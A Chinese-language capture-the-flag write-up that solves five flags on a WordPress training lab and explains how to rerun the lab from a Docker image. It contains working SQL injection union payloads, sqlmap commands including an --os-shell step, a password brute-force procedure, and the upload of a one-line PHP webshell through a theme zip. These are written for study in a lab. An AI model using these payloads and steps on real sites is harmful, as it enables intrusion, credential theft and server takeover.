安徽公司红蓝军训练营-WriteUpDocker复现
一、前期準(zhǔn)備
根據(jù)比賽規(guī)則所知,這是一道綜合web滲透題,題目一共包含5個(gè)flag。
首先我們訪問靶場地址:http://192.168.60.5
通過分析可以得出,該網(wǎng)站為一個(gè)個(gè)人博客,使用的CMS是WordPress5.8.2,編程語言是PHP,數(shù)據(jù)庫是MySql,操作系統(tǒng)是Debian,使用的WordPress主題是Zakra。
接著我們使用nmap對該IP進(jìn)行目錄掃描:
發(fā)現(xiàn)該IP僅開放了80(sql)和3306(mysql)端口,因此判斷flag可能就藏在WordPress網(wǎng)站或者數(shù)據(jù)庫中。
二、【寶藏1】
1.登錄網(wǎng)站后我們首先看到一篇叫【你好!冒險(xiǎn)家!】的文章。
2.閱讀之后我們知道了題目一共設(shè)置了5個(gè)flag。另外我們還發(fā)現(xiàn)了一行藍(lán)字,讓我們可以去武器庫看看。
3.找到武器庫后,我們發(fā)現(xiàn)里面內(nèi)置了一些工具,猜測可能與解題有關(guān)。根據(jù)介紹推出可能有編碼題、目錄泄露、爆破、SQL注入題等題型。
4.回到首頁我們發(fā)現(xiàn)還有第二篇博客,名字叫【第一個(gè)寶藏】,想必這里應(yīng)該藏匿了第一個(gè)flag。
5.我們訪問后,發(fā)現(xiàn)是一串看不懂的字符串,但是根據(jù)提示說可能和密碼學(xué)有關(guān),而且有張寫著b64的圖片,猜測該字符串可能經(jīng)過base64編碼了,我們又想到武器庫中有base64解碼器,于是去解碼試試。
6.解密后得到第一個(gè)flag{G1ft_At_F1rst_S1ght}。
三、【寶藏2】
1.在武器庫中我們還發(fā)現(xiàn)了目錄掃描工具。
2.于是我們嘗試對文章目錄進(jìn)行掃描,看看有什么可以利用的點(diǎn)。
3.我們發(fā)現(xiàn)了有www.zip,robots.txt等文件。
4.于是我們先嘗試訪問robots.txt,發(fā)現(xiàn)題目提示第二個(gè)寶藏可能在/wp-admin這個(gè)目錄下面。
5.于是我們訪問這個(gè)目錄,發(fā)現(xiàn)是WordPress的管理后臺。
6.我們右鍵查看源代碼看看有沒有源碼泄露的問題。
7.右鍵查看源碼,通過搜索flag字段我們發(fā)現(xiàn)了第二個(gè)flag,flag{YOur_Are_s0_Lucky_This_1s_Fl4g}。
四、【寶藏3】
1.打開剛剛下載的www.zip,發(fā)現(xiàn)是網(wǎng)站源碼,對源碼全局搜索"flag{"字段發(fā)現(xiàn)dashboard.php中存在flag,但是內(nèi)容被隱去。
2.我們發(fā)現(xiàn)該文件位置在wp-admin下,猜測可能是管理員用戶的文件,想要讀取這個(gè)文件需要進(jìn)入管理后臺。
3.另外根據(jù)武器庫的提示,我們發(fā)現(xiàn)有一個(gè)爆破字典6000.txt,猜測可能需要爆破才能進(jìn)入管理后臺。
4.根據(jù)文章發(fā)布的作者,我們發(fā)現(xiàn)系統(tǒng)后臺應(yīng)該存在一個(gè)admin用戶。
4.于是我們打算使用武器庫提供的6000.txt爆破字典進(jìn)行弱口令爆破。
5.打開bp抓去后臺登錄包,將其發(fā)送到intruder模塊進(jìn)行爆破,其中l(wèi)og=admin不變,設(shè)置pwd的值為變量。
6.通過對響應(yīng)包對長度進(jìn)行排序,發(fā)現(xiàn)當(dāng)pwd=x12345678的時(shí)候包長度和其它包不一樣,推測WordPress的后臺密碼可能為x12345678。
7.使用admin/x12345678進(jìn)行驗(yàn)證,發(fā)現(xiàn)登錄成功,獲取到第三個(gè)flag,flag{The_c0de_1s_0pen_Sesame}。
五、【寶藏4】
1.根據(jù)題目關(guān)鍵字“數(shù)據(jù)倉庫”和武器庫中包含sqlmap,猜測第4個(gè)寶藏應(yīng)該在數(shù)據(jù)庫中,考點(diǎn)應(yīng)該是sql注入。
2.打開www.zip發(fā)現(xiàn)致冒險(xiǎn)家們.txt、wp-login.php和wp_lostpassword.php三個(gè)文件的修改日期和其它文件不一致,猜測出題人可能對這個(gè)三個(gè)文件進(jìn)行了編輯。
3.打開“致冒險(xiǎn)家們.txt”文件,發(fā)現(xiàn)提示大家進(jìn)行代碼審計(jì)。
4.于是對后面兩個(gè)文件進(jìn)行代碼審計(jì)分析,發(fā)現(xiàn)wp_lostpassword.php中包含mysql對賬號、密碼、數(shù)據(jù)庫名稱以及select查詢語句。
5.經(jīng)過分析發(fā)現(xiàn)該查詢語句沒有進(jìn)行任何過濾,直接將用戶提交的參數(shù)【$username】拼接到select查詢語句中進(jìn)行數(shù)據(jù)庫查詢。另外不會(huì)審計(jì)的同學(xué)也可以通過自動(dòng)化的審計(jì)工具進(jìn)行代碼審計(jì)。
6.通過文件名“wp_lostpassword.php”,可知該文件應(yīng)該在忘記密碼的地方,我們嘗試在后臺點(diǎn)擊忘記密碼去訪問。
7.發(fā)現(xiàn)系統(tǒng)會(huì)把你輸入的用戶名帶到系統(tǒng)中查詢,而執(zhí)行查詢的文件操作的就是存在漏洞的“wp_lostpassword.php”文件。
8.通過測試語句1' or sleep(5)#,發(fā)先頁面5s后才加載完成,證明數(shù)據(jù)庫執(zhí)行了休眠5s的操作,存在時(shí)間盲注。
9.通過輸入paylaod:admin' order by 10#?不報(bào)錯(cuò),而
admin' order by 11#??報(bào)錯(cuò),可知該表存在十個(gè)字段值。
10.通過payload:1' union select 1,2,3,4,5,6,7,8,9,10#?可以判斷回顯字段。
11.發(fā)現(xiàn)回顯點(diǎn)為第二位,證明可以進(jìn)行聯(lián)合注入。
12.于是我們把payload改為1' union select 1,version(),3,4,5,6,7,8,9,10#??成功查詢了數(shù)據(jù)庫的版本信息。
13.使用payload:1' union select 1,database(),3,4,5,6,7,8,9,10#?查詢當(dāng)前數(shù)據(jù)庫。?
14.后面我們來正式獲取flag,flag{This_1s_My_Dad_G0ld_Bank} 。
a.1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3,4,5,6,7,8,9,10#?查庫名
b.1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'wordpress'),3,4,5,6,7,8,9,10#?查表名
c.1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'flag'),3,4,5,6,7,8,9,10#?查列名
d.1' union select 1,(select flag from flag),3,4,5,6,7,8,9,10#?查flag
15.當(dāng)然大家也可以使用武器庫提供的sqlmap來直接獲取flag。
通過bp抓post請求包保存為url.txt,然后使用sqlmap命令來進(jìn)行sql注入:
python3 sqlmap.py -r url.txt --batch --dbs python3 sqlmap.py -r url.txt --batch -D wordpress --tables python3 sqlmap.py -r url.txt --batch -D wordpress -T flag --dump16.當(dāng)然有人可能想起來之前用nmap掃描發(fā)現(xiàn)主機(jī)對外開啟了3306端口,并且我們也知道了數(shù)據(jù)庫的賬號和密碼,是否可以直接用數(shù)據(jù)庫管理工具連接讀取flag呢?
答案是否定的。因?yàn)橥ㄟ^select user,host from mysql.user;
我們發(fā)現(xiàn)用戶root的訪問權(quán)限為localhost,表示root用戶只支持本地訪問,無法進(jìn)行遠(yuǎn)程連接。
六、【寶藏5】
1.我們登錄后臺后,瀏覽了一下發(fā)現(xiàn)沒有其它flag,猜測可能最后一個(gè)flag藏在Debian的服務(wù)器上,于是我們在后臺尋找上傳點(diǎn),看看能不能上傳webshell。
2.經(jīng)過一番搜尋后,我們在外觀-主題處發(fā)現(xiàn)了一個(gè)名字叫做websell的可疑主題,猜測可能是別人留下的后門。
3.但是我們不知道其真實(shí)路徑,后來我們回想起我們在前期準(zhǔn)備階段了解到這個(gè)站點(diǎn)使用的是Zakra主題,而且我們現(xiàn)在手中又正好有這個(gè)網(wǎng)站的源碼,這樣我們就可以通過Zakra主題的位置來推測webshell的位置。
4.我們發(fā)現(xiàn)zakra中存在一個(gè)webshell.php。
5.我們后來打開發(fā)現(xiàn)原來是個(gè)假shell,內(nèi)容為phpinfo。
6.雖然是假webshell,但是可以幫我確定位置,我們驗(yàn)證我們推測的地址是否可以直接訪問,于是我們訪問http://192.168.60.5/wp-content/themes/zakra/webshell.php。發(fā)現(xiàn)確實(shí)可以訪問,證明我們推測無誤。
7.目前有兩個(gè)方案,一是去連接webshell主題中別人留下來的webshell,雖然我們可以推測出路徑,但是我們不知道webshell的文件名和密碼。另一方案是我們自己寫一個(gè)webshell放到主題里面打包上傳到網(wǎng)站中。
8.我們在主題處發(fā)現(xiàn)可以自己打包zip的主題壓縮包進(jìn)行上傳。
9.于是我們修改zakra中webshell.php的內(nèi)容為一句話木馬。
10.然后重新打包上傳。
11.發(fā)現(xiàn)此處也會(huì)爆出文件路徑,我們直接點(diǎn)擊替換,覆蓋當(dāng)前版本。
12.覆蓋成功后參數(shù)使用webshell管理工具進(jìn)行連接。
13.在根目錄發(fā)現(xiàn)flag,flag{C0ngratu1at10n_0n_y0ur_Graduat10n}。
七、思考
1.對sql注入不熟悉的同學(xué)其實(shí)可以先做【寶藏5】,然后使用webshell管理工具自帶的數(shù)據(jù)庫管理工具來直接讀取【寶藏4】數(shù)據(jù)庫中的flag。
2.沒有找到【寶藏5】webshell上傳點(diǎn)的小伙伴也可以通過【寶藏4】sql注入寫shell的方式來直接向網(wǎng)站目錄寫入webshell。
python3 sqlmap.py -r url.txt --os-shell --batchsqlmap寫入的shell
直接讀取flag
八、賽后復(fù)現(xiàn)
1.我已將本次賽題打包成鏡像上傳到dockerhub,想復(fù)現(xiàn)本次競賽的同學(xué)可以自己拉取dokcer鏡像。
使用方法:
#拉取docker鏡像 docker pull kakaxi1996/acs_ctf:v5 #運(yùn)行docker鏡像,將容器內(nèi)的80端口映射到本地80端口 docker run -d -p 80:80 kakaxi1996/acs_ctf:v5 #打開瀏覽器訪問http://127.0.0.1即可若想讓除本機(jī)外的內(nèi)網(wǎng)其它主機(jī)訪問,需修改文件/var/www/html/wp-config.php中的以下地址為運(yùn)行docker的宿主機(jī)對外的IP地址。
總結(jié)
以上是生活随笔為你收集整理的安徽公司红蓝军训练营-WriteUpDocker复现的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 数学物理方法 10 格林函数法
- 下一篇: 格林函数(Green’s functio